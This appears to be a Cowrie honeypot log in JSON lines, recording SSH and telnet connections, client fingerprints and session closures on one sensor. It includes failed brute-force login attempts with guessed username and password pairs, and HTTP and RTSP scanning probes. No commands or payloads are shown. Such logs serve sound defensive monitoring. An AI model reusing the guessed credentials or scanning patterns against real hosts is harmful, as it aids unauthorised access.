{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":46650,"dst_ip":"159.203.135.109","dst_port":22,"session":"425e7092ed13","protocol":"ssh","message":"New connection: 152.32.171.213:46650 (159.203.135.109:22) [session: 425e7092ed13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:56.799919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:56.805328Z","src_ip":"152.32.171.213","session":"425e7092ed13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:57.020773Z","src_ip":"152.32.171.213","session":"425e7092ed13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mc","message":"login attempt [mcserver/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:57.918774Z","src_ip":"152.32.171.213","session":"425e7092ed13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:59.136870Z","src_ip":"152.32.171.213","session":"425e7092ed13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38846,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7d3cf5f08a6","protocol":"telnet","message":"New connection: 172.81.62.90:38846 (159.203.135.109:23) [session: a7d3cf5f08a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:48:13.064608Z"}
{"eventid":"cowrie.session.closed","duration":36.63636636734009,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:48:49.700846Z","src_ip":"172.81.62.90","session":"a7d3cf5f08a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":41786,"dst_ip":"159.203.135.109","dst_port":23,"session":"73e07ed46431","protocol":"telnet","message":"New connection: 34.53.210.242:41786 (159.203.135.109:23) [session: 73e07ed46431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:48:52.202701Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":41792,"dst_ip":"159.203.135.109","dst_port":23,"session":"271fdc325122","protocol":"telnet","message":"New connection: 34.53.210.242:41792 (159.203.135.109:23) [session: 271fdc325122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:48:52.363877Z"}
{"eventid":"cowrie.session.closed","duration":0.003777027130126953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:48:52.367540Z","src_ip":"34.53.210.242","session":"271fdc325122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":41808,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc1528dd856","protocol":"telnet","message":"New connection: 34.53.210.242:41808 (159.203.135.109:23) [session: abc1528dd856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:48:52.525637Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42874,"dst_ip":"159.203.135.109","dst_port":23,"session":"840b9f8d35a0","protocol":"telnet","message":"New connection: 172.81.62.90:42874 (159.203.135.109:23) [session: 840b9f8d35a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:48:58.167475Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42876,"dst_ip":"159.203.135.109","dst_port":23,"session":"60ebe3bd14ba","protocol":"telnet","message":"New connection: 172.81.62.90:42876 (159.203.135.109:23) [session: 60ebe3bd14ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:00.802936Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34064,"dst_ip":"10.17.0.5","dst_port":22,"session":"958dfeffd4de","protocol":"ssh","message":"New connection: 62.133.62.83:34064 (10.17.0.5:22) [session: 958dfeffd4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:05.175012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:05.179622Z","src_ip":"62.133.62.83","session":"958dfeffd4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:05.258528Z","src_ip":"62.133.62.83","session":"958dfeffd4de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty159","message":"login attempt [root/qwerty159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:05.495323Z","src_ip":"62.133.62.83","session":"958dfeffd4de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:06.580377Z","src_ip":"62.133.62.83","session":"958dfeffd4de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.004414081573486,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:07.207051Z","src_ip":"34.53.210.242","session":"73e07ed46431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61138,"dst_ip":"159.203.135.109","dst_port":23,"session":"542b30581fae","protocol":"telnet","message":"New connection: 34.53.210.242:61138 (159.203.135.109:23) [session: 542b30581fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:11.690464Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:11.695544Z","src_ip":"34.53.210.242","session":"542b30581fae","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:11.698937Z","src_ip":"34.53.210.242","session":"542b30581fae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09344196319580078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:11.783763Z","src_ip":"34.53.210.242","session":"542b30581fae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61148,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aa8fb4b66fe","protocol":"telnet","message":"New connection: 34.53.210.242:61148 (159.203.135.109:23) [session: 9aa8fb4b66fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:11.860021Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61152,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b7a56b91b93","protocol":"telnet","message":"New connection: 34.53.210.242:61152 (159.203.135.109:23) [session: 0b7a56b91b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:12.020937Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61160,"dst_ip":"159.203.135.109","dst_port":23,"session":"08b101d7a901","protocol":"telnet","message":"New connection: 34.53.210.242:61160 (159.203.135.109:23) [session: 08b101d7a901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:12.181837Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61164,"dst_ip":"159.203.135.109","dst_port":23,"session":"a476ec089d4f","protocol":"telnet","message":"New connection: 34.53.210.242:61164 (159.203.135.109:23) [session: a476ec089d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:12.342978Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61172,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb895b8f5154","protocol":"telnet","message":"New connection: 34.53.210.242:61172 (159.203.135.109:23) [session: eb895b8f5154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:12.504349Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61176,"dst_ip":"159.203.135.109","dst_port":23,"session":"389c0d3079c0","protocol":"telnet","message":"New connection: 34.53.210.242:61176 (159.203.135.109:23) [session: 389c0d3079c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:12.668590Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61192,"dst_ip":"159.203.135.109","dst_port":23,"session":"22a4654d8d47","protocol":"telnet","message":"New connection: 34.53.210.242:61192 (159.203.135.109:23) [session: 22a4654d8d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:12.831331Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61204,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4a2416bd7d2","protocol":"telnet","message":"New connection: 34.53.210.242:61204 (159.203.135.109:23) [session: d4a2416bd7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:12.993217Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61218,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d08a9d32c5b","protocol":"telnet","message":"New connection: 34.53.210.242:61218 (159.203.135.109:23) [session: 3d08a9d32c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:13.154605Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61234,"dst_ip":"159.203.135.109","dst_port":23,"session":"65b447ad1ec5","protocol":"telnet","message":"New connection: 34.53.210.242:61234 (159.203.135.109:23) [session: 65b447ad1ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:13.395096Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61242,"dst_ip":"159.203.135.109","dst_port":23,"session":"f809c5f97672","protocol":"telnet","message":"New connection: 34.53.210.242:61242 (159.203.135.109:23) [session: f809c5f97672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:13.556604Z"}
{"eventid":"cowrie.session.closed","duration":0.004495143890380859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:13.560955Z","src_ip":"34.53.210.242","session":"f809c5f97672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61246,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b9c32f6d302","protocol":"telnet","message":"New connection: 34.53.210.242:61246 (159.203.135.109:23) [session: 0b9c32f6d302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:13.718504Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61248,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4df2986c7a0","protocol":"telnet","message":"New connection: 34.53.210.242:61248 (159.203.135.109:23) [session: d4df2986c7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:13.880943Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61256,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cb1fc14a67c","protocol":"telnet","message":"New connection: 34.53.210.242:61256 (159.203.135.109:23) [session: 1cb1fc14a67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:14.041528Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61262,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa8264a24ad","protocol":"telnet","message":"New connection: 34.53.210.242:61262 (159.203.135.109:23) [session: 9fa8264a24ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:14.203701Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61274,"dst_ip":"159.203.135.109","dst_port":23,"session":"e76894644d92","protocol":"telnet","message":"New connection: 34.53.210.242:61274 (159.203.135.109:23) [session: e76894644d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:14.365777Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61286,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9cdfe24544c","protocol":"telnet","message":"New connection: 34.53.210.242:61286 (159.203.135.109:23) [session: a9cdfe24544c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:14.526716Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61288,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b76f36b1241","protocol":"telnet","message":"New connection: 34.53.210.242:61288 (159.203.135.109:23) [session: 1b76f36b1241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:14.688012Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61304,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab9e4686b9ee","protocol":"telnet","message":"New connection: 34.53.210.242:61304 (159.203.135.109:23) [session: ab9e4686b9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:14.849198Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61314,"dst_ip":"159.203.135.109","dst_port":23,"session":"e342800d7b1c","protocol":"telnet","message":"New connection: 34.53.210.242:61314 (159.203.135.109:23) [session: e342800d7b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:15.010367Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:15.018793Z","src_ip":"34.53.210.242","session":"e342800d7b1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61320,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd4fb9bfdfa9","protocol":"telnet","message":"New connection: 34.53.210.242:61320 (159.203.135.109:23) [session: bd4fb9bfdfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:15.181759Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61324,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cdc22688b46","protocol":"telnet","message":"New connection: 34.53.210.242:61324 (159.203.135.109:23) [session: 3cdc22688b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:15.343181Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61340,"dst_ip":"159.203.135.109","dst_port":23,"session":"579530822a04","protocol":"telnet","message":"New connection: 34.53.210.242:61340 (159.203.135.109:23) [session: 579530822a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:15.503264Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61352,"dst_ip":"159.203.135.109","dst_port":23,"session":"cda4034fc09a","protocol":"telnet","message":"New connection: 34.53.210.242:61352 (159.203.135.109:23) [session: cda4034fc09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:15.664296Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61356,"dst_ip":"159.203.135.109","dst_port":23,"session":"861b46c9b14f","protocol":"telnet","message":"New connection: 34.53.210.242:61356 (159.203.135.109:23) [session: 861b46c9b14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:15.827243Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61368,"dst_ip":"159.203.135.109","dst_port":23,"session":"07afddd391c7","protocol":"telnet","message":"New connection: 34.53.210.242:61368 (159.203.135.109:23) [session: 07afddd391c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:15.989629Z"}
{"eventid":"cowrie.session.closed","duration":0.004812955856323242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:15.994293Z","src_ip":"34.53.210.242","session":"07afddd391c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61370,"dst_ip":"159.203.135.109","dst_port":23,"session":"a409f9a1e8ee","protocol":"telnet","message":"New connection: 34.53.210.242:61370 (159.203.135.109:23) [session: a409f9a1e8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:16.153261Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61386,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc34dcc2912","protocol":"telnet","message":"New connection: 34.53.210.242:61386 (159.203.135.109:23) [session: cfc34dcc2912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:16.318313Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 1360","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 1360] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:16.322680Z","src_ip":"34.53.210.242","session":"cfc34dcc2912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.210.242","src_port":61392,"dst_ip":"159.203.135.109","dst_port":23,"session":"45ae5bf55197","protocol":"telnet","message":"New connection: 34.53.210.242:61392 (159.203.135.109:23) [session: 45ae5bf55197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:16.482605Z"}
{"eventid":"cowrie.session.closed","duration":0.004133939743041992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:16.486581Z","src_ip":"34.53.210.242","session":"45ae5bf55197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.698697328567505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.224250Z","src_ip":"34.53.210.242","session":"abc1528dd856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.609941244125366,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.274053Z","src_ip":"34.53.210.242","session":"cda4034fc09a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.960376977920532,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.278565Z","src_ip":"34.53.210.242","session":"cfc34dcc2912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.128200054168701,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.281263Z","src_ip":"34.53.210.242","session":"a409f9a1e8ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.456624984741211,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.283731Z","src_ip":"34.53.210.242","session":"861b46c9b14f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.947840690612793,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.290913Z","src_ip":"34.53.210.242","session":"3cdc22688b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.790926218032837,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.294059Z","src_ip":"34.53.210.242","session":"579530822a04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.115180730819702,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.296738Z","src_ip":"34.53.210.242","session":"bd4fb9bfdfa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.289734840393066,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.299943Z","src_ip":"34.53.210.242","session":"e342800d7b1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.45341181755066,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.302483Z","src_ip":"34.53.210.242","session":"ab9e4686b9ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.616438865661621,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.304286Z","src_ip":"34.53.210.242","session":"1b76f36b1241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.779987573623657,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.306555Z","src_ip":"34.53.210.242","session":"a9cdfe24544c","protocol":"telnet"}
